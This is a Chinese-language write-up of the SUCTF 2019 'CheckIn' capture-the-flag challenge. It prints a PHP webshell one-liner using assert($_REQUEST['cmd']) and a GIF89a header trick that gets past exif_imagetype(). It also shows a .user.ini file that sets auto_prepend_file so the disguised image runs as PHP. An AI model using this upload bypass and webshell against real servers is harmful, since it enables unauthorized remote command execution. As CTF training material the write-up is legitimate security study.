首页 > 其他 > 详细

[SUCTF 2019]CheckIn

时间:2020-02-21 01:26:56      阅读:578      评论:0      收藏:0      [点我收藏+]

 大佬的wp

 

 首先上传包含一句话的php文件,提示illegal suffix!,试了一下.php3,.php5,.phtml等都不行

技术分享图片

 把文件后缀名改成.jpg试一下,检测到了内容 <?

技术分享图片

  那就用其他姿势

<script language=‘php‘>assert($_REQUEST[‘cmd‘])</script>

检测到文件不是图像,很明显是用exif_imagetype()函数,函数功能是读取一个图像的第一个字节并检查其签名。 在一句话前面加个GIF89a进行绕过

技术分享图片

 那么现在的一句话如下,可以制作成图片马,但是需要解析成php

GIF89a
<script language=‘php‘>assert($_REQUEST[‘cmd‘])</script

正常想到的是.htaccess,但是这个服务器是nginx,而.htaccess是针对apache的

 

那么这里利用是 .user.ini ,而且.user,ini利用的范围比.htaccess更广,具体参考这里

不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法

 php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:

PHP_INI_SYSTEMPHP_INI_PERDIRPHP_INI_ALLPHP_INI_USER

技术分享图片

.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置

 同时在php配置项中有两个比较有意思的项

auto_prepend_file和auto_append_file

相当于指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数

auto_prepend_file是在文件前插入,而auto_append_file是在文件最后才插入

 

那么思路就有了

上传图片马,然后利用.user.ini解析图片马生成webshell

生成图片马

技术分享图片

 然后需要利用.user.ini解析图片马

GIF89a
auto_prepend_file=shell.jpg

上传.user.ini和图片马

技术分享图片

然后根据上传的路径,找到上传的Webshell,获取flag

技术分享图片

 

[SUCTF 2019]CheckIn

原文:https://www.cnblogs.com/gaonuoqi/p/12337572.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!